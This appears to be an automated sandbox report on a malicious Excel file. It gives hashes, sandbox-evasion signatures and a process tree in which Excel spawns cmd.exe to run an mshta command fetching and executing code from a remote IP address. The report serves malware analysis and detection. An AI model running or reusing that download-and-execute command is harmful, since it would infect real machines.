Analysis
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max time kernel
148s -
max time network
157s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
28-01-2022 03:28
Behavioral task
behavioral1
Sample
6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4.xls
Resource
win10-en-20211208
General
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Target
6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4.xls
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Size
155KB
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MD5
877a38825398e9be7d9c3eaea352b392
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SHA1
df43374b9233eaa46203a6875a6379d2e3960027
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SHA256
6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4
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SHA512
3835a242494de6c5b67eb2c586599a7356d1c704e7518f69c51fb4a36d1e6c66bd86f5a94288fad6a98310302481f593348d173260dd6ad5dc535d04fbb8fcdf
Malware Config
Extracted
http://91.240.118.168/qqqw/aaas/se.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1604 2804 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid process 47 1496 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2804 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE 2804 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 2804 wrote to memory of 1604 2804 EXCEL.EXE cmd.exe PID 2804 wrote to memory of 1604 2804 EXCEL.EXE cmd.exe PID 1604 wrote to memory of 1496 1604 cmd.exe mshta.exe PID 1604 wrote to memory of 1496 1604 cmd.exe mshta.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/qqqw/aaas/se.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1604 -
C:\Windows\system32\mshta.exemshta http://91.240.118.168/qqqw/aaas/se.html3⤵
- Blocklisted process makes network request
PID:1496
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/2804-116-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmpFilesize
64KB
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memory/2804-117-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmpFilesize
64KB
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memory/2804-118-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmpFilesize
64KB
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memory/2804-119-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmpFilesize
64KB
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memory/2804-120-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmpFilesize
64KB
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memory/2804-129-0x00007FFD5B930000-0x00007FFD5B940000-memory.dmpFilesize
64KB
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memory/2804-130-0x00007FFD5B930000-0x00007FFD5B940000-memory.dmpFilesize
64KB
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memory/2804-289-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmpFilesize
64KB
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memory/2804-290-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmpFilesize
64KB
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memory/2804-291-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmpFilesize
64KB
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memory/2804-292-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmpFilesize
64KB